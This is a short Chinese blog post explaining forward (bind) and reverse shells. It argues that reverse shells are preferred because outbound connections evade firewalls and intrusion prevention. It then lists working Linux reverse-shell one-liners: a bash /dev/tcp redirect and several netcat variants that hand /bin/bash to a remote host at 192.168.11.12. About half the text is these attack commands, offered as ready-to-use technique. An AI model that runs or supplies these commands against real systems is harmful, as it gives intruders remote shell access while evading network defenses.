shell的正向与反向操作
发布时间
阅读量:
阅读量
正向shell与反向shell
正向shell:由控制方率先发起与目标设备的连接请求
反向shell:目标设备自主建立与控制方的通信链路
在实际操作过程中,反向shell的应用更为普遍,主要由于正向shell在实施过程中面临诸多阻碍因素,例如硬件设施配备的防火墙、入侵防御机制等安全防护手段,以及网站防火墙、端口被占用、权限不足等多种情形。尤其是针对硬件设备而言,若正向连接被防火墙拦截,极易暴露攻击行为,从而引发后续攻击操作的复杂化。
反向shell:目标设备主动向外传输的数据包通常能够绕过常规拦截措施。
反向shell示例如下
Linux系统中常见的反向shell实现方式
基于bash的反弹shell
nc -lvp 4444
bash -i>& /dev/tcp/192.168.11.12/4444 0>&1
nc实现反向shell连接
nc -lvp 4444
nc 192.168.11.12 666
/bin/bash |nc 192.168.11.12 666
nc 192.168.11.12 999 -e /bin/bash Linux
全部评论 (0)
还没有任何评论哟~
